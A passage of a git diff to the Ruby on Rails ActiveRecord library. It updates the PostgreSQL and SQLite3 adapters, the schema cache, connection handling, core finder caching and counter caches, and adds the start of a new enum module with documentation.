# Get the PG code for the failure. Annoyingly, the code for
# prepared statements whose return value may have changed is
# FEATURE_NOT_SUPPORTED. Check here for more details:
# http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
begin
- code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+ code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
rescue
raise e
end
@@ -807,7 +713,13 @@ module ActiveRecord
sql_key = sql_key(sql)
unless @statements.key? sql_key
nextkey = @statements.next_key
- @connection.prepare nextkey, sql
+ begin
+ @connection.prepare nextkey, sql
+ rescue => e
+ raise translate_exception_class(e, sql)
+ end
+ # Clear the queue
+ @connection.get_last_result
@statements[sql_key] = nextkey
end
@statements[sql_key]
@@ -829,6 +741,12 @@ module ActiveRecord
PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
configure_connection
+ rescue ::PG::Error => error
+ if error.message.include?("does not exist")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
# Configures the encoding, verbosity, schema search path, and time zone of the connection.
@@ -884,14 +802,6 @@ module ActiveRecord
exec_query(sql, name, binds)
end
- def select_raw(sql, name = nil)
- res = execute(sql, name)
- results = result_as_array(res)
- fields = res.fields
- res.clear
- return fields, results
- end
-
# Returns the list of a table's column names, data types, and default values.
#
# The underlying query is roughly:
@@ -933,16 +843,12 @@ module ActiveRecord
end
def extract_table_ref_from_insert_sql(sql)
- sql[/into\s+([^\(]*).*values\s*\(/i]
+ sql[/into\s+([^\(]*).*values\s*\(/im]
$1.strip if $1
end
- def create_table_definition(name, temporary, options)
- TableDefinition.new native_database_types, name, temporary, options
- end
-
- def update_table_definition(table_name, base)
- Table.new(table_name, base)
+ def create_table_definition(name, temporary, options, as = nil)
+ TableDefinition.new native_database_types, name, temporary, options, as
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
index 1d7a22e831..e5c9f6f54a 100644
--- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -1,4 +1,3 @@
-require 'active_support/deprecation/reporting'
module ActiveRecord
module ConnectionAdapters
@@ -16,13 +15,8 @@ module ActiveRecord
prepare_default_proc
end
- def primary_keys(table_name = nil)
- if table_name
- @primary_keys[table_name]
- else
- ActiveSupport::Deprecation.warn('call primary_keys with a table name!')
- @primary_keys.dup
- end
+ def primary_keys(table_name)
+ @primary_keys[table_name]
end
# A cached lookup for table existence.
@@ -41,34 +35,19 @@ module ActiveRecord
end
end
- def tables(name = nil)
- if name
- @tables[name]
- else
- ActiveSupport::Deprecation.warn('call tables with a name!')
- @tables.dup
- end
+ def tables(name)
+ @tables[name]
end
# Get the columns for a table
- def columns(table = nil)
- if table
- @columns[table]
- else
- ActiveSupport::Deprecation.warn('call columns with a table name!')
- @columns.dup
- end
+ def columns(table)
+ @columns[table]
end
# Get the columns for a table as a hash, key is the column name
# value is the column object.
- def columns_hash(table = nil)
- if table
- @columns_hash[table]
- else
- ActiveSupport::Deprecation.warn('call columns_hash with a table name!')
- @columns_hash.dup
- end
+ def columns_hash(table)
+ @columns_hash[table]
end
# Clears out internal caches
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 7d940fe1c9..737f2daa63 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -17,18 +17,26 @@ module ActiveRecord
# Allow database path relative to Rails.root, but only if
# the database path is not the special path that tells
# Sqlite to build a database only in memory.
- if defined?(Rails.root) && ':memory:' != config[:database]
- config[:database] = File.expand_path(config[:database], Rails.root)
+ if ':memory:' != config[:database]
+ config[:database] = File.expand_path(config[:database], Rails.root) if defined?(Rails.root)
+ dirname = File.dirname(config[:database])
+ Dir.mkdir(dirname) unless File.directory?(dirname)
end
db = SQLite3::Database.new(
- config[:database],
+ config[:database].to_s,
:results_as_hash => true
)
db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
- ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+ ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config)
+ rescue Errno::ENOENT => error
+ if error.message.include?("No such file or directory")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
@@ -51,6 +59,23 @@ module ActiveRecord
#
# * <tt>:database</tt> - Path to the database file.
class SQLite3Adapter < AbstractAdapter
+ include Savepoints
+
+ NATIVE_DATABASE_TYPES = {
+ primary_key: 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL',
+ string: { name: "varchar" },
+ text: { name: "text" },
+ integer: { name: "integer" },
+ float: { name: "float" },
+ decimal: { name: "decimal" },
+ datetime: { name: "datetime" },
+ timestamp: { name: "datetime" },
+ time: { name: "time" },
+ date: { name: "date" },
+ binary: { name: "blob" },
+ boolean: { name: "boolean" }
+ }
+
class Version
include Comparable
@@ -98,11 +123,7 @@ module ActiveRecord
end
end
- class BindSubstitution < Arel::Visitors::SQLite # :nodoc:
- include Arel::Visitors::BindVisitor
- end
-
- def initialize(connection, logger, config)
+ def initialize(connection, logger, connection_options, config)
super(connection, logger)
@active = nil
@@ -110,10 +131,12 @@ module ActiveRecord
self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
@config = config
+ @visitor = Arel::Visitors::SQLite.new self
+
if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
- @visitor = Arel::Visitors::SQLite.new self
+ @prepared_statements = true
else
- @visitor = unprepared_visitor
+ @prepared_statements = false
end
end
@@ -121,14 +144,16 @@ module ActiveRecord
'SQLite'
end
- # Returns true
def supports_ddl_transactions?
true
end
- # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
def supports_savepoints?
- sqlite_version >= '3.6.8'
+ true
+ end
+
+ def supports_partial_index?
+ sqlite_version >= '3.8.0'
end
# Returns true, since this connection adapter supports prepared statement
@@ -142,7 +167,6 @@ module ActiveRecord
true
end
- # Returns true.
def supports_primary_key? #:nodoc:
true
end
@@ -151,7 +175,6 @@ module ActiveRecord
true
end
- # Returns true
def supports_add_column?
true
end
@@ -173,16 +196,6 @@ module ActiveRecord
@statements.clear
end
- # Returns true
- def supports_count_distinct? #:nodoc:
- true
- end
-
- # Returns true
- def supports_autoincrement? #:nodoc:
- true
- end
-
def supports_index_sort_order?
true
end
@@ -195,20 +208,7 @@ module ActiveRecord
end
def native_database_types #:nodoc:
- {
- :primary_key => default_primary_key_type,
- :string => { :name => "varchar", :limit => 255 },
- :text => { :name => "text" },
- :integer => { :name => "integer" },
- :float => { :name => "float" },
- :decimal => { :name => "decimal" },
- :datetime => { :name => "datetime" },
- :timestamp => { :name => "datetime" },
- :time => { :name => "time" },
- :date => { :name => "date" },
- :binary => { :name => "blob" },
- :boolean => { :name => "boolean" }
- }
+ NATIVE_DATABASE_TYPES
end
# Returns the current database encoding format as a string, eg: 'UTF-8'
@@ -216,7 +216,6 @@ module ActiveRecord
@connection.encoding.to_s
end
- # Returns true.
def supports_explain?
true
end
@@ -224,8 +223,8 @@ module ActiveRecord
# QUOTING ==================================================
def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
+ if value.kind_of?(String) && column && column.type == :binary
+ s = value.unpack("H*")[0]
"x'#{s}'"
else
super
@@ -271,7 +270,7 @@ module ActiveRecord
def explain(arel, binds = [])
sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
- ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', []))
end
class ExplainPrettyPrinter
@@ -289,14 +288,20 @@ module ActiveRecord
end
def exec_query(sql, name = nil, binds = [])
- log(sql, name, binds) do
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
- # Don't cache statements without bind values
- if binds.empty?
+ log(sql, name, type_casted_binds) do
+ # Don't cache statements if they are not prepared
+ if without_prepared_statement?(binds)
stmt = @connection.prepare(sql)
- cols = stmt.columns
- records = stmt.to_a
- stmt.close
+ begin
+ cols = stmt.columns
+ records = stmt.to_a
+ ensure
+ stmt.close
+ end
stmt = records
else
cache = @statements[sql] ||= {
@@ -305,9 +310,7 @@ module ActiveRecord
stmt = cache[:stmt]
cols = cache[:cols] ||= stmt.columns
stmt.reset!
- stmt.bind_params binds.map { |col, val|
- type_cast(val, col)
- }
+ stmt.bind_params type_casted_binds.map { |_, val| val }
end
ActiveRecord::Result.new(cols, stmt.to_a)
@@ -344,20 +347,8 @@ module ActiveRecord
end
alias :create :insert_sql
- def select_rows(sql, name = nil)
- exec_query(sql, name).rows
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ def select_rows(sql, name = nil, binds = [])
+ exec_query(sql, name, binds).rows
end
def begin_db_transaction #:nodoc:
@@ -410,13 +401,25 @@ module ActiveRecord
# Returns an array of indexes for the given table.
def indexes(table_name, name = nil) #:nodoc:
exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+ sql = <<-SQL
+ SELECT sql
+ FROM sqlite_master
+ WHERE name=#{quote(row['name'])} AND type='index'
+ UNION ALL
+ SELECT sql
+ FROM sqlite_temp_master
+ WHERE name=#{quote(row['name'])} AND type='index'
+ SQL
+ index_sql = exec_query(sql).first['sql']
+ match = /\sWHERE\s+(.+)$/i.match(index_sql)
+ where = match[1] if match
IndexDefinition.new(
table_name,
row['name'],
row['unique'] != 0,
exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
col['name']
- })
+ }, nil, nil, where)
end
end
@@ -492,11 +495,9 @@ module ActiveRecord
end
def rename_column(table_name, column_name, new_column_name) #:nodoc:
- unless columns(table_name).detect{|c| c.name == column_name.to_s }
- raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
- end
- alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
- rename_column_indexes(table_name, column_name, new_column_name)
+ column = column_for(table_name, column_name)
+ alter_table(table_name, rename: {column.name => new_column_name.to_s})
+ rename_column_indexes(table_name, column.name, new_column_name)
end
protected
@@ -603,17 +604,13 @@ module ActiveRecord
@sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
end
- def default_primary_key_type
- if supports_autoincrement?
- 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
- else
- 'INTEGER PRIMARY KEY NOT NULL'
- end
- end
-
def translate_exception(exception, message)
case exception.message
- when /column(s)? .* (is|are) not unique/
+ # SQLite 3.8.2 returns a newly formatted error message:
+ # UNIQUE constraint failed: *table_name*.*column_name*
+ # Older versions of SQLite return:
+ # column *column_name* is not unique
+ when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
RecordNotUnique.new(message, exception)
else
super
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index a1943dfcb0..31e7390bf7 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,5 +1,8 @@
module ActiveRecord
module ConnectionHandling
+ RAILS_ENV = -> { Rails.env if defined?(Rails) }
+ DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
# Establishes the connection to the database. Accepts a hash as input where
# the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
# example for regular databases (MySQL, Postgresql, etc):
@@ -15,14 +18,14 @@ module ActiveRecord
# Example for SQLite database:
#
# ActiveRecord::Base.establish_connection(
- # adapter: "sqlite",
+ # adapter: "sqlite3",
# database: "path/to/dbfile"
# )
#
# Also accepts keys as strings (for parsing from YAML for example):
#
# ActiveRecord::Base.establish_connection(
- # "adapter" => "sqlite",
+ # "adapter" => "sqlite3",
# "database" => "path/to/dbfile"
# )
#
@@ -32,11 +35,19 @@ module ActiveRecord
# "postgres://myuser:mypass@localhost/somedatabase"
# )
#
+ # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails
+ # automatically loads the contents of config/database.yml into it),
+ # a symbol can also be given as argument, representing a key in the
+ # configuration hash:
+ #
+ # ActiveRecord::Base.establish_connection(:production)
+ #
# The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
# may be returned on an error.
- def establish_connection(spec = ENV["DATABASE_URL"])
- resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
- spec = resolver.spec
+ def establish_connection(spec = nil)
+ spec ||= DEFAULT_ENV.call.to_sym
+ resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new configurations
+ spec = resolver.spec(spec)
unless respond_to?(spec.adapter_method)
raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
@@ -46,6 +57,29 @@ module ActiveRecord
connection_handler.establish_connection self, spec
end
+ class MergeAndResolveDefaultUrlConfig # :nodoc:
+ def initialize(raw_configurations)
+ @raw_config = raw_configurations.dup
+ @env = DEFAULT_ENV.call.to_s
+ end
+
+ # Returns fully resolved connection hashes.
+ # Merges connection information from `ENV['DATABASE_URL']` if available.
+ def resolve
+ ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+ end
+
+ private
+ def config
+ @raw_config.dup.tap do |cfg|
+ if url = ENV['DATABASE_URL']
+ cfg[@env] ||= {}
+ cfg[@env]["url"] ||= url
+ end
+ end
+ end
+ end
+
# Returns the connection currently associated with the class. This can
# also be used to "borrow" the connection to do database work unrelated
# to any of the specific Active Records.
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 4122444b1e..4571cc0786 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -42,9 +42,16 @@ module ActiveRecord
# 'database' => 'db/production.sqlite3'
# }
# }
- mattr_accessor :configurations, instance_writer: false
+ def self.configurations=(config)
+ @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+ end
self.configurations = {}
+ # Returns fully resolved configurations hash
+ def self.configurations
+ @@configurations
+ end
+
##
# :singleton-method:
# Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
@@ -71,13 +78,23 @@ module ActiveRecord
##
# :singleton-method:
- # Disable implicit join references. This feature was deprecated with Rails 4.
- # If you don't make use of implicit references but still see deprecation warnings
- # you can disable the feature entirely. This will be the default with Rails 4.1.
- mattr_accessor :disable_implicit_join_references, instance_writer: false
- self.disable_implicit_join_references = false
+ # Specify whether schema dump should happen at the end of the
+ # db:migrate rake task. This is true by default, which is useful for the
+ # development environment. This should ideally be false in the production
+ # environment where dumping schema is rarely needed.
+ mattr_accessor :dump_schema_after_migration, instance_writer: false
+ self.dump_schema_after_migration = true
+
+ # :nodoc:
+ mattr_accessor :maintain_test_schema, instance_accessor: false
+
+ def self.disable_implicit_join_references=(value)
+ ActiveSupport::Deprecation.warn("Implicit join references were removed with Rails 4.1." \
+ "Make sure to remove this configuration because it does nothing.")
+ end
class_attribute :default_connection_handler, instance_writer: false
+ class_attribute :find_by_statement_cache
def self.connection_handler
ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
@@ -91,27 +108,80 @@ module ActiveRecord
end
module ClassMethods
- def inherited(child_class) #:nodoc:
- child_class.initialize_generated_modules
+ def initialize_find_by_cache
+ self.find_by_statement_cache = {}.extend(Mutex_m)
+ end
+
+ def inherited(child_class)
+ child_class.initialize_find_by_cache
super
end
- def initialize_generated_modules
- @attribute_methods_mutex = Mutex.new
+ def find(*ids)
+ # We don't have cache keys for this stuff yet
+ return super unless ids.length == 1
+ return super if block_given? ||
+ primary_key.nil? ||
+ default_scopes.any? ||
+ columns_hash.include?(inheritance_column) ||
+ ids.first.kind_of?(Array)
+
+ id = ids.first
+ if ActiveRecord::Base === id
+ id = id.id
+ ActiveSupport::Deprecation.warn "You are passing an instance of ActiveRecord::Base to `find`." \
+ "Please pass the id of the object by calling `.id`"
+ end
+ key = primary_key
+
+ s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+ find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+ where(key => params.bind).limit(1)
+ }
+ }
+ record = s.execute([id], self, connection).first
+ unless record
+ raise RecordNotFound, "Couldn't find #{name} with '#{primary_key}'=#{id}"
+ end
+ record
+ end
- # force attribute methods to be higher in inheritance hierarchy than other generated methods
- generated_attribute_methods.const_set(:AttrNames, Module.new {
- def self.const_missing(name)
- const_set(name, [name.to_s.sub(/ATTR_/, '')].pack('h*').freeze)
- end
- })
+ def find_by(*args)
+ return super if current_scope || args.length > 1 || reflect_on_all_aggregations.any?
+
+ hash = args.first
+
+ return super if hash.values.any? { |v|
+ v.nil? || Array === v || Hash === v
+ }
+
+ key = hash.keys
+
+ klass = self
+ s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+ find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+ wheres = key.each_with_object({}) { |param,o|
+ o[param] = params.bind
+ }
+ klass.where(wheres).limit(1)
+ }
+ }
+ begin
+ s.execute(hash.values, self, connection).first
+ rescue TypeError => e
+ raise ActiveRecord::StatementInvalid.new(e.message, e)
+ end
+ end
- generated_feature_methods
+ def initialize_generated_modules
+ super
+
+ generated_association_methods
end
- def generated_feature_methods
- @generated_feature_methods ||= begin
- mod = const_set(:GeneratedFeatureMethods, Module.new)
+ def generated_association_methods
+ @generated_association_methods ||= begin
+ mod = const_set(:GeneratedAssociationMethods, Module.new)
include mod
mod
end
@@ -124,7 +194,7 @@ module ActiveRecord
elsif abstract_class?
"#{super}(abstract)"
elsif !connected?
- "#{super}(no database connection)"
+ "#{super} (call '#{super}.connection' to establish a connection)"
elsif table_exists?
attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
"#{super}(#{attr_list})"
@@ -141,27 +211,26 @@ module ActiveRecord
# Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
#
# class Post < ActiveRecord::Base
- # scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+ # scope :published_and_commented, -> { published.and(self.arel_table[:comments_count].gt(0)) }
# end
- def arel_table
+ def arel_table # :nodoc:
@arel_table ||= Arel::Table.new(table_name, arel_engine)
end
# Returns the Arel engine.
- def arel_engine
- @arel_engine ||= begin
+ def arel_engine # :nodoc:
+ @arel_engine ||=
if Base == self || connection_handler.retrieve_connection_pool(self)
self
else
superclass.arel_engine
end
- end
end
private
def relation #:nodoc:
- relation = Relation.new(self, arel_table)
+ relation = Relation.create(self, arel_table)
if finder_needs_type_condition?
relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
@@ -179,19 +248,20 @@ module ActiveRecord
# ==== Example:
# # Instantiates a single new object
# User.new(first_name: 'Jamie')
- def initialize(attributes = nil)
+ def initialize(attributes = nil, options = {})
defaults = self.class.column_defaults.dup
defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
@attributes = self.class.initialize_attributes(defaults)
- @columns_hash = self.class.column_types.dup
+ @column_types_override = nil
+ @column_types = self.class.column_types
init_internals
- init_changed_attributes
- ensure_proper_type
- populate_with_current_scope_attributes
+ initialize_internals_callback
- assign_attributes(attributes) if attributes
+ # +options+ argument is only needed to make protected_attributes gem easier to hook.
+ # Remove it when we drop support to this gem.
+ init_attributes(attributes, options) if attributes
yield self if block_given?
run_callbacks :initialize unless _initialize_callbacks.empty?
@@ -209,7 +279,8 @@ module ActiveRecord
# post.title # => 'hello world'
def init_with(coder)
@attributes = self.class.initialize_attributes(coder['attributes'])
- @columns_hash = self.class.column_types.merge(coder['column_types'] || {})
+ @column_types_override = coder['column_types']
+ @column_types = self.class.column_types
init_internals
@@ -257,16 +328,13 @@ module ActiveRecord
run_callbacks(:initialize) unless _initialize_callbacks.empty?
- @changed_attributes = {}
- init_changed_attributes
-
@aggregation_cache = {}
@association_cache = {}
@attributes_cache = {}
@new_record = true
+ @destroyed = false
- ensure_proper_type
super
end
@@ -283,7 +351,7 @@ module ActiveRecord
# Post.new.encode_with(coder)
# coder # => {"attributes" => {"id" => nil, ... }}
def encode_with(coder)
- coder['attributes'] = attributes
+ coder['attributes'] = attributes_for_coder
end
# Returns true if +comparison_object+ is the same exact object, or +comparison_object+
@@ -298,7 +366,7 @@ module ActiveRecord
def ==(comparison_object)
super ||
comparison_object.instance_of?(self.class) &&
- id.present? &&
+ !id.nil? &&
comparison_object.id == id
end
alias :eql? :==
@@ -326,6 +394,8 @@ module ActiveRecord
def <=>(other_object)
if other_object.is_a?(self.class)
self.to_key <=> other_object.to_key
+ else
+ super
end
end
@@ -340,14 +410,6 @@ module ActiveRecord
@readonly = true
end
- # Returns the connection currently associated with the class. This can
- # also be used to "borrow" the connection to do database work that isn't
- # easily done without going straight to SQL.
- def connection
- ActiveSupport::Deprecation.warn("#connection is deprecated in favour of accessing it via the class")
- self.class.connection
- end
-
def connection_handler
self.class.connection_handler
end
@@ -370,7 +432,7 @@ module ActiveRecord
# Returns a hash of the given methods with their names as keys and returned values as values.
def slice(*methods)
- Hash[methods.map { |method| [method, public_send(method)] }].with_indifferent_access
+ Hash[methods.map! { |method| [method, public_send(method)] }].with_indifferent_access
end
def set_transaction_state(state) # :nodoc:
@@ -405,13 +467,10 @@ module ActiveRecord
end
def update_attributes_from_transaction_state(transaction_state, depth)
- if transaction_state && !has_transactional_callbacks?
+ if transaction_state && transaction_state.finalized? && !has_transactional_callbacks?
unless @reflects_state[depth]
- if transaction_state.committed?
- committed!
- elsif transaction_state.rolledback?
- rolledback!
- end
+ restore_transaction_record_state if transaction_state.rolledback?
+ clear_transaction_record_state
@reflects_state[depth] = true
end
@@ -440,8 +499,6 @@ module ActiveRecord
@aggregation_cache = {}
@association_cache = {}
@attributes_cache = {}
- @previously_changed = {}
- @changed_attributes = {}
@readonly = false
@destroyed = false
@marked_for_destruction = false
@@ -453,13 +510,13 @@ module ActiveRecord
@reflects_state = [false]
end
- def init_changed_attributes
- # Intentionally avoid using #column_defaults since overridden defaults (as is done in
- # optimistic locking) won't get written unless they get marked as changed
- self.class.columns.each do |c|
- attr, orig_value = c.name, c.default
- @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
- end
+ def initialize_internals_callback
+ end
+
+ # This method is needed to make protected_attributes gem easier to hook.
+ # Remove it when we drop support to this gem.
+ def init_attributes(attributes, options)
+ assign_attributes(attributes)
end
end
end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index e1faadf1ab..b7b790322a 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -35,7 +35,7 @@ module ActiveRecord
stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
arel_table[counter_name] => object.send(association).count
- })
+ }, primary_key)
connection.update stmt
end
return true
@@ -77,15 +77,15 @@ module ActiveRecord
"#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
end
- where(primary_key => id).update_all updates.join(', ')
+ unscoped.where(primary_key => id).update_all updates.join(', ')
end
# Increment a numeric field by one, via a direct SQL update.
#
- # This method is used primarily for maintaining counter_cache columns used to
- # store aggregate values. For example, a DiscussionBoard may cache posts_count
- # and comments_count to avoid running an SQL query to calculate the number of
- # posts and comments there are each time it is displayed.
+ # This method is used primarily for maintaining counter_cache columns that are
+ # used to store aggregate values. For example, a DiscussionBoard may cache
+ # posts_count and comments_count to avoid running an SQL query to calculate the
+ # number of posts and comments there are, each time it is displayed.
#
# ==== Parameters
#
@@ -118,5 +118,54 @@ module ActiveRecord
update_counters(id, counter_name => -1)
end
end
+
+ protected
+
+ def actually_destroyed?
+ @_actually_destroyed
+ end
+
+ def clear_destroy_state
+ @_actually_destroyed = nil
+ end
+
+ private
+
+ def _create_record(*)
+ id = super
+
+ each_counter_cached_associations do |association|
+ if send(association.reflection.name)
+ association.increment_counters
+ @_after_create_counter_called = true
+ end
+ end
+
+ id
+ end
+
+ def destroy_row
+ affected_rows = super
+
+ if affected_rows > 0
+ each_counter_cached_associations do |association|
+ foreign_key = association.reflection.foreign_key.to_sym
+ unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
+ if send(association.reflection.name)
+ association.decrement_counters
+ end
+ end
+ end
+ end
+
+ affected_rows
+ end
+
+ def each_counter_cached_associations
+ reflections.each do |name, reflection|
+ yield association(name) if reflection.belongs_to? && reflection.counter_cache_column
+ end
+ end
+
end
end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index 3bac31c6aa..e94b74063e 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -6,8 +6,12 @@ module ActiveRecord
# then we can remove the indirection.
def respond_to?(name, include_private = false)
- match = Method.match(self, name)
- match && match.valid? || super
+ if self == Base
+ super
+ else
+ match = Method.match(self, name)
+ match && match.valid? || super
+ end
end
private
@@ -35,7 +39,7 @@ module ActiveRecord
end
def pattern
- /^#{prefix}_([_a-zA-Z]\w*)#{suffix}$/
+ @pattern ||= /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
end
def prefix
@@ -84,13 +88,18 @@ module ActiveRecord
"#{finder}(#{attributes_hash})"
end
+ # The parameters in the signature may have reserved Ruby words, in order
+ # to prevent errors, we start each param name with `_`.
+ #
# Extended in activerecord-deprecated_finders
def signature
- attribute_names.join(', ')
+ attribute_names.map { |name| "_#{name}" }.join(', ')
end
+ # Given that the parameters starts with `_`, the finder needs to use the
+ # same parameter name.
def attributes_hash
- "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+ "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(',') + "}"
end
def finder
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
new file mode 100644
index 0000000000..18f1ca26de
--- /dev/null
+++ b/activerecord/lib/active_record/enum.rb
@@ -0,0 +1,199 @@
+require 'active_support/core_ext/object/deep_dup'
+
+module ActiveRecord
+ # Declare an enum attribute where the values map to integers in the database,
+ # but can be queried by name. Example:
+ #
+ # class Conversation < ActiveRecord::Base
+ # enum status: [ :active, :archived ]
+ # end
+ #
+ # # conversation.update! status: 0
+ # conversation.active!
+ # conversation.active? # => true
+ # conversation.status # => "active"
+ #
+ # # conversation.update! status: 1
+ # conversation.archived!
+ # conversation.archived? # => true
+ # conversation.status # => "archived"
+ #
+ # # conversation.update! status: 1
+ # conversation.status = "archived"
+ #
+ # # conversation.update! status: nil
+ # conversation.status = nil
+ # conversation.status.nil? # => true
+ # conversation.status # => nil
+ #
+ # Scopes based on the allowed values of the enum field will be provided
+ # as well. With the above example, it will create an +active+ and +archived+
+ # scope.
+ #
+ # You can set the default value from the database declaration, like:
+ #
+ # create_table :conversations do |t|
+ # t.column :status, :integer, default: 0
+ # end
+ #
+ # Good practice is to let the first declared status be the default.
+ #
+ # Finally, it's also possible to explicitly map the relation between attribute and
+ # database integer with a +Hash+:
+ #
+ # class Conversation < ActiveRecord::Base
+ # enum status: { active: 0, archived: 1 }
+ # end
+ #
+ # Note that when an +Array+ is used, the implicit mapping from the values to database
+ # integers is derived from the order the values appear in the array. In the example,
+ # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+ # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+ # database.
+ #
+ # Therefore, once a value is added to the enum array, its position in the array must
+ # be maintained, and new values should only be added to the end of the array. To
+ # remove unused values, the explicit +Hash+ syntax should be used.
+ #
+ # In rare circumstances you might need to access the mapping directly.
+ # The mappings are exposed through a class method with the pluralized attribute
+ # name:
+ #
+ # Conversation.statuses # => { "active" => 0, "archived" => 1 }
+ #
+ # Use that class method when you need to know the ordinal value of an enum:
+ #
+ # Conversation.where("status <> ?", Conversation.statuses[:archived])
+ #
+ # Where conditions on an enum attribute must use the ordinal value of an enum.
+ module Enum
+ def self.extended(base)
+ base.class_attribute(:defined_enums)
+ base.defined_enums = {}
+ end
+
+ def inherited(base)
+ base.defined_enums = defined_enums.deep_dup
+ super
+ end
+
+ def enum(definitions)
+ klass = self
+ definitions.each do |name, values|
+ # statuses = { }
+ enum_values = ActiveSupport::HashWithIndifferentAccess.new
+ name = name.to_sym
+
+ # def self.statuses statuses end
+ detect_enum_conflict!(name, name.to_s.pluralize, true)
+ klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
+
+ _enum_methods_module.module_eval do
+ # def status=(value) self[:status] = statuses[value] end
+ klass.send(:detect_enum_conflict!, name, "#{name}=")
+ define_method("#{name}=") { |value|
+ if enum_values.has_key?(value) || value.blank?
+ self[name] = enum_values[value]
+ elsif enum_values.has_value?(value)
+ # Assigning a value directly is not a end-user feature, hence it's not documented.
+ # This is used internally to make building objects from the generated scopes work
+ # as expected, i.e. +Conversation.archived.build.archived?+ should be true.
+ self[name] = value
+ else
+ raise ArgumentError, "'#{value}' is not a valid #{name}"
+ end
+ }
+
+ # def status() statuses.key self[:status] end
+ klass.send(:detect_enum_conflict!, name, name)
+ define_method(name) { enum_values.key self[name] }
+
